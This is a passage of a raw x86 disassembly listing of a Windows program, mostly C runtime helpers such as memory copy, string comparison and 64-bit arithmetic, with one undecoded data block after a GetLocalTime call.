dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CEA0 cmp edi, eax jb loc_41D018 loc_41CEA0: ; CODE XREF: sub_41CE80+16j test edi, 3 jnz short loc_41CEBC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CEDC rep movsd jmp ds:off_41CFC8[edx*4] ; --------------------------------------------------------------------------- loc_41CEBC: ; CODE XREF: sub_41CE80+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CED4 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41CEDC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CED4: ; CODE XREF: sub_41CE80+46j jmp dword ptr ds:loc_41CFD8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEDC: ; CODE XREF: sub_41CE80+31j ; sub_41CE80+8Ej ... jmp ds:off_41CF5C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CEF0 dd offset loc_41CF1C dd offset loc_41CF40 ; --------------------------------------------------------------------------- loc_41CEF0: ; DATA XREF: sub_41CE80+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CEDC rep movsd jmp ds:off_41CFC8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CF1C: ; DATA XREF: sub_41CE80+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CEDC rep movsd jmp ds:off_41CFC8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CF40: ; DATA XREF: sub_41CE80+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CEDC rep movsd jmp ds:off_41CFC8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CF5C dd offset loc_41CFBF ; DATA XREF: sub_41CE80:loc_41CEDCr dd offset loc_41CFAC dd offset loc_41CFA4 dd offset loc_41CF9C dd offset loc_41CF94 dd offset loc_41CF8C dd offset loc_41CF84 dd offset loc_41CF7C ; --------------------------------------------------------------------------- loc_41CF7C: ; CODE XREF: sub_41CE80:loc_41CEDCj ; DATA XREF: sub_41CE80+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CF84: ; CODE XREF: sub_41CE80:loc_41CEDCj ; DATA XREF: sub_41CE80+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CF8C: ; CODE XREF: sub_41CE80:loc_41CEDCj ; DATA XREF: sub_41CE80+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CF94: ; CODE XREF: sub_41CE80:loc_41CEDCj ; DATA XREF: sub_41CE80+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CF9C: ; CODE XREF: sub_41CE80:loc_41CEDCj ; DATA XREF: sub_41CE80+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CFA4: ; CODE XREF: sub_41CE80:loc_41CEDCj ; DATA XREF: sub_41CE80+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CFAC: ; CODE XREF: sub_41CE80:loc_41CEDCj ; DATA XREF: sub_41CE80+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CFBF: ; CODE XREF: sub_41CE80:loc_41CEDCj ; DATA XREF: sub_41CE80:off_41CF5Co jmp ds:off_41CFC8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CFC8 dd offset loc_41CFD8 ; DATA XREF: sub_41CE80+35r ; sub_41CE80+92r ... dd offset loc_41CFE0 dd offset loc_41CFEC dd offset loc_41D000 ; --------------------------------------------------------------------------- loc_41CFD8: ; CODE XREF: sub_41CE80+35j ; sub_41CE80+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CFE0: ; CODE XREF: sub_41CE80+35j ; sub_41CE80+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFEC: ; CODE XREF: sub_41CE80+35j ; sub_41CE80+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D000: ; CODE XREF: sub_41CE80+35j ; sub_41CE80+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D018: ; CODE XREF: sub_41CE80+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D04C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D040 std rep movsd cld jmp ds:off_41D160[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D040: ; CODE XREF: sub_41CE80+1B1j ; sub_41CE80+208j ... neg ecx jmp ds:off_41D110[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D04C: ; CODE XREF: sub_41CE80+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D064 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_41D064+4[eax*4] ; --------------------------------------------------------------------------- loc_41D064: ; CODE XREF: sub_41CE80+1D6j ; DATA XREF: sub_41CE80+1DDr jmp ds:off_41D160[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D077+1 ; --------------------------------------------------------------------------- cwde rol byte ptr [ecx+0], 1 rcl al, 41h loc_41D077: ; DATA XREF: sub_41CE80+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D040 std rep movsd cld jmp ds:off_41D160[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D040 std rep movsd cld jmp ds:off_41D160[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D040 std rep movsd cld jmp ds:off_41D160[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D114 dd offset loc_41D11C dd offset loc_41D124 dd offset loc_41D12C dd offset loc_41D134 dd offset loc_41D13C dd offset loc_41D144 off_41D110 dd offset loc_41D157 ; DATA XREF: sub_41CE80+1C2r ; --------------------------------------------------------------------------- loc_41D114: ; DATA XREF: sub_41CE80+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D11C: ; DATA XREF: sub_41CE80+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D124: ; DATA XREF: sub_41CE80+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D12C: ; DATA XREF: sub_41CE80+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D134: ; DATA XREF: sub_41CE80+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D13C: ; DATA XREF: sub_41CE80+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D144: ; DATA XREF: sub_41CE80+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D157: ; CODE XREF: sub_41CE80+1C2j ; DATA XREF: sub_41CE80:off_41D110o jmp ds:off_41D160[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D160 dd offset loc_41D170 ; DATA XREF: sub_41CE80+1B7r ; sub_41CE80:loc_41D064r ... dd offset loc_41D178 dd offset loc_41D188 dd offset loc_41D19C ; --------------------------------------------------------------------------- loc_41D170: ; CODE XREF: sub_41CE80+1B7j ; sub_41CE80:loc_41D064j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D178: ; CODE XREF: sub_41CE80+1B7j ; sub_41CE80:loc_41D064j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D188: ; CODE XREF: sub_41CE80+1B7j ; sub_41CE80:loc_41D064j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D19C: ; CODE XREF: sub_41CE80+1B7j ; sub_41CE80:loc_41D064j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CE80 endp ; =============== S U B R O U T I N E ======================================= sub_41D1B5 proc near ; CODE XREF: sub_40D5CD+34p ; sub_40D5CD+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B6D7 pop ecx pop ecx retn sub_41D1B5 endp ; =============== S U B R O U T I N E ======================================= sub_41D1C3 proc near ; CODE XREF: sub_41D230+4p arg_0 = dword ptr 4 push esi push ds:dword_4DF55C call sub_422828 mov edx, ds:dword_4DF55C pop ecx mov ecx, ds:dword_4DF558 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D222 push edx call sub_422828 add eax, 10h push eax push ds:dword_4DF55C call sub_41B3F2 add esp, 0Ch test eax, eax jnz short loc_41D205 retn ; --------------------------------------------------------------------------- loc_41D205: ; CODE XREF: sub_41D1C3+3Fj mov ecx, ds:dword_4DF558 sub ecx, ds:dword_4DF55C mov ds:dword_4DF55C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov ds:dword_4DF558, ecx loc_41D222: ; CODE XREF: sub_41D1C3+23j mov eax, [esp+arg_0] mov [ecx], eax add ds:dword_4DF558, 4 retn sub_41D1C3 endp ; =============== S U B R O U T I N E ======================================= sub_41D230 proc near ; CODE XREF: sub_40D6BA+1Ap ; sub_4269FE+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D1C3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D230 endp ; =============== S U B R O U T I N E ======================================= sub_41D242 proc near ; DATA XREF: seg002:0042A020o push 80h call sub_41B6C5 test eax, eax pop ecx mov ds:dword_4DF55C, eax jnz short loc_41D263 push 18h call sub_41DC49 mov eax, ds:dword_4DF55C pop ecx loc_41D263: ; CODE XREF: sub_41D242+12j and dword ptr [eax], 0 mov eax, ds:dword_4DF55C mov ds:dword_4DF558, eax retn sub_41D242 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D271 proc near ; CODE XREF: sub_40D83A+1A3p var_20 = byte ptr -20h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call ds:dword_428130 ; GetLocalTime lea eax, [ebp+var_20] push eax call near ptr 0B10000h mov byte ptr [esi-75h], 45h jmp far ptr 4DDFh:22053B66h sub_41D271 endp ; --------------------------------------------------------------------------- dd 663B7500h, 66E8458Bh, 0DF20053Bh, 2E75004Dh, 0E6458B66h dd 1E053B66h, 75004DDFh, 458B6621h, 53B66E2h, 4DDF1Ah dd 8B661475h, 3B66E045h, 4DDF1805h, 0A1077500h, 4DDF10h dd 858D45EBh, 0FFFFFF34h, 2D1EE850h, 8390006Fh, 1B74FFF8h dd 7502F883h, 7D836612h, 0B7400CEh, 0DC7D83h, 16A0574h dd 3307EB58h, 8303EBC0h, 5756FFC8h, 0BFE0758Dh, 4DDF18h dd 0A5A5A5A5h, 0DF10A35Fh, 505E004Dh, 0FC45B70Fh, 45B70F50h dd 0B70F50FAh, 0F50F845h, 50F645B7h, 0F245B70Fh, 45B70F50h dd 4AE850F0h, 8B000055h, 0C483084Dh, 74C9851Ch, 0C9018902h dd 0CCCCCCC3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D350 proc near ; CODE XREF: sub_40D83A+19p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DDF6C cmp dword ptr [eax+8], 0 jnz short loc_41D3A3 mov al, 0FFh mov edi, edi loc_41D36C: ; CODE XREF: sub_41D350+28j ; sub_41D350+48j or al, al jz short loc_41D39E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D36C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D36C sbb al, al sbb al, 0FFh loc_41D39E: ; CODE XREF: sub_41D350+1Ej movsx eax, al jmp short loc_41D3D7 ; --------------------------------------------------------------------------- loc_41D3A3: ; CODE XREF: sub_41D350+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D3AC: ; CODE XREF: sub_41D350+68j ; sub_41D350+80j or al, al jz short loc_41D3D7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D3AC push eax push ebx call sub_41D96C mov ebx, eax add esp, 4 call sub_41D96C add esp, 4 cmp bl, al jz short loc_41D3AC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D3D7: ; CODE XREF: sub_41D350+51j ; sub_41D350+5Ej pop ebx pop esi pop edi leave retn sub_41D350 endp ; =============== S U B R O U T I N E ======================================= sub_41D3DC proc near ; CODE XREF: sub_40E3D2+193p ; sub_40E3D2+1DDp arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, offset dword_43F578 push edi push esi call sub_420666 mov edi, eax lea eax, [esp+10h+arg_4] push eax push [esp+14h+arg_0] push esi call sub_41F8BF push esi push edi mov ebx, eax call sub_4206F3 add esp, 18h mov eax, ebx pop edi pop esi pop ebx retn sub_41D3DC endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D489 mov edi, [esp+14h] test edi, edi jz short loc_41D42C cmp edi, 1 jz short loc_41D42C cmp edi, 2 jnz short loc_41D489 loc_41D42C: ; CODE XREF: seg000:0041D420j ; seg000:0041D425j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D443 push esi call sub_422A9E add [esp+14h], eax pop ecx xor edi, edi loc_41D443: ; CODE XREF: seg000:0041D434j push esi call sub_41DDAB mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D458 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D46C ; --------------------------------------------------------------------------- loc_41D458: ; CODE XREF: seg000:0041D44Fj test al, 1 jz short loc_41D46C test al, 8 jz short loc_41D46C test ah, 4 jnz short loc_41D46C mov dword ptr [esi+18h], 200h loc_41D46C: ; CODE XREF: seg000:0041D456j ; seg000:0041D45Aj ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_422A04 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D496 ; --------------------------------------------------------------------------- loc_41D489: ; CODE XREF: seg000:0041D418j ; seg000:0041D42Aj mov ds:dword_4DDEB4, 16h or eax, 0FFFFFFFFh loc_41D496: ; CODE XREF: seg000:0041D487j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D4A0 proc near ; CODE XREF: seg000:00412DDAp ; sub_413991+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D4B9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D4B9: ; CODE XREF: sub_41D4A0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D4A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4D4 proc near ; CODE XREF: seg000:0041636Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D4F8 xor eax, eax jmp loc_41D5C5 ; --------------------------------------------------------------------------- loc_41D4F8: ; CODE XREF: sub_41D4D4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D50B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D512 ; --------------------------------------------------------------------------- loc_41D50B: ; CODE XREF: sub_41D4D4+2Dj mov [ebp+arg_C], 1000h loc_41D512: ; CODE XREF: sub_41D4D4+35j ; sub_41D4D4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D546 mov eax, [esi+4] test eax, eax jz short loc_41D546 cmp ebx, eax mov edi, ebx jb short loc_41D52C mov edi, eax loc_41D52C: ; CODE XREF: sub_41D4D4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C500 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D58C ; --------------------------------------------------------------------------- loc_41D546: ; CODE XREF: sub_41D4D4+47j ; sub_41D4D4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D591 test ecx, ecx jz short loc_41D55A push esi call sub_41DDAB test eax, eax pop ecx jnz short loc_41D5D3 loc_41D55A: ; CODE XREF: sub_41D4D4+79j cmp [ebp+arg_C], 0 jz short loc_41D56D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D56F ; --------------------------------------------------------------------------- loc_41D56D: ; CODE XREF: sub_41D4D4+8Aj mov edi, ebx loc_41D56F: ; CODE XREF: sub_41D4D4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call loc_422BF6 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D5CA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D5CA loc_41D58C: ; CODE XREF: sub_41D4D4+70j mov edi, [ebp+var_4] jmp short loc_41D5BA ; --------------------------------------------------------------------------- loc_41D591: ; CODE XREF: sub_41D4D4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F7AA pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D5D3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D5BA mov [ebp+arg_C], 1 loc_41D5BA: ; CODE XREF: sub_41D4D4+BBj ; sub_41D4D4+DDj test ebx, ebx jnz loc_41D512 mov eax, [ebp+arg_8] loc_41D5C5: ; CODE XREF: sub_41D4D4+1Fj ; sub_41D4D4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D5CA: ; CODE XREF: sub_41D4D4+ADj ; sub_41D4D4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D5D5 ; --------------------------------------------------------------------------- loc_41D5D3: ; CODE XREF: sub_41D4D4+84j ; sub_41D4D4+CFj mov eax, edi loc_41D5D5: ; CODE XREF: sub_41D4D4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D5C5 sub_41D4D4 endp ; =============== S U B R O U T I N E ======================================= sub_41D5DE proc near ; CODE XREF: sub_41697A+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_428098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_41D5FE call ds:dword_42808C ; RtlGetLastWin32Error push eax call sub_4205FF pop ecx loc_41D5FA: ; CODE XREF: sub_41D5DE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D5FE: ; CODE XREF: sub_41D5DE+Dj test al, 1 jz short loc_41D61F test [esp+arg_4], 2 jz short loc_41D61F mov ds:dword_4DDEB4, 0Dh mov ds:dword_4DDEB8, 5 jmp short loc_41D5FA ; --------------------------------------------------------------------------- loc_41D61F: ; CODE XREF: sub_41D5DE+22j ; sub_41D5DE+29j xor eax, eax retn sub_41D5DE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D630 proc near ; CODE XREF: sub_416994+3Fp ; sub_41AB62+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D652 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D693 ; --------------------------------------------------------------------------- loc_41D652: ; CODE XREF: sub_41D630+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D660: ; CODE XREF: sub_41D630+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D660 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D68E cmp edx, [esp+8+arg_4] ja short loc_41D68E jb short loc_41D68F cmp eax, [esp+8+arg_0] jbe short loc_41D68F loc_41D68E: ; CODE XREF: sub_41D630+4Ej ; sub_41D630+54j dec esi loc_41D68F: ; CODE XREF: sub_41D630+56j ; sub_41D630+5Cj xor edx, edx mov eax, esi loc_41D693: ; CODE XREF: sub_41D630+20j pop esi pop ebx retn 10h sub_41D630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D6A0 proc near ; CODE XREF: sub_416994+2Dp ; sub_41AB62+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D6C1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D711 ; --------------------------------------------------------------------------- loc_41D6C1: ; CODE XREF: sub_41D6A0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D6CF: ; CODE XREF: sub_41D6A0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D6CF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D6FA cmp edx, [esp+4+arg_4] ja short loc_41D6FA jb short loc_41D702 cmp eax, [esp+4+arg_0] jbe short loc_41D702 loc_41D6FA: ; CODE XREF: sub_41D6A0+4Aj ; sub_41D6A0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D702: ; CODE XREF: sub_41D6A0+52j ; sub_41D6A0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D711: ; CODE XREF: sub_41D6A0+1Fj pop ebx retn 10h sub_41D6A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D720 proc near ; CODE XREF: sub_416AA3+5Fp ; sub_416AA3+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D741 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D741: ; CODE XREF: sub_41D720+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D75D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D75D: ; CODE XREF: sub_41D720+27j or eax, eax jnz short loc_41D779 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D7BA ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D720+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D787: ; CODE XREF: sub_41D720+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D787 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D7B5 cmp edx, [esp+0Ch+arg_4] ja short loc_41D7B5 jb short loc_41D7B6 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D7B6 loc_41D7B5: ; CODE XREF: sub_41D720+85j ; sub_41D720+8Bj dec esi loc_41D7B6: ; CODE XREF: sub_41D720+8Dj ; sub_41D720+93j xor edx, edx mov eax, esi loc_41D7BA: ; CODE XREF: sub_41D720+57j dec edi jnz short loc_41D7C4 neg edx neg eax sbb edx, 0 loc_41D7C4: ; CODE XREF: sub_41D720+9Bj pop ebx pop esi pop edi retn 10h sub_41D720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D7CA proc near ; CODE XREF: sub_41714F+BFp ; sub_41714F+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, ds:dword_4DDF74 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D7FE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D865 loc_41D7E6: ; CODE XREF: sub_41D7CA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D7F7 cmp cl, 7Ah jg short loc_41D7F7 sub cl, 20h mov [edx], cl loc_41D7F7: ; CODE XREF: sub_41D7CA+21j ; sub_41D7CA+26j inc edx cmp [edx], bl jnz short loc_41D7E6 jmp short loc_41D865 ; --------------------------------------------------------------------------- loc_41D7FE: ; CODE XREF: sub_41D7CA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call loc_422DA3 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D857 push edi call sub_41B6C5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D857 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push ds:dword_4DDF74 call loc_422DA3 add esp, 20h test eax, eax jz short loc_41D857 push [ebp+var_4] push [ebp+arg_0] call sub_41C0A0 pop ecx pop ecx loc_41D857: ; CODE XREF: sub_41D7CA+53j ; sub_41D7CA+61j ... push [ebp+var_4] call sub_41B2A1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D865: ; CODE XREF: sub_41D7CA+1Aj ; sub_41D7CA+32j pop ebx leave retn sub_41D7CA endp ; =============== S U B R O U T I N E ======================================= sub_41D868 proc near ; CODE XREF: sub_417B38+1A3p arg_0 = dword ptr 4 cmp ds:dword_43F194, 1 jle short loc_41D87F push 4 push [esp+4+arg_0] call sub_41F735 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D87F: ; CODE XREF: sub_41D868+7j mov eax, [esp+arg_0] mov ecx, ds:off_43EF88 mov al, [ecx+eax*2] and eax, 4 retn sub_41D868 endp ; =============== S U B R O U T I N E ======================================= sub_41D890 proc near ; CODE XREF: sub_420730+76p ; sub_420730+88p ... arg_0 = dword ptr 4 cmp ds:dword_43F194, 1 jle short loc_41D8A7 push 8 push [esp+4+arg_0] call sub_41F735 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D8A7: ; CODE XREF: sub_41D890+7j mov eax, [esp+arg_0] mov ecx, ds:off_43EF88 mov al, [ecx+eax*2] and eax, 8 retn sub_41D890 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D8C0 proc near ; CODE XREF: sub_417F37+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41D90C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41D90D test eax, 1 jz short loc_41D8ED mov cl, [esi] cmp cl, [edi] jnz short loc_41D93A inc esi inc edi dec eax jz short loc_41D90A loc_41D8ED: ; 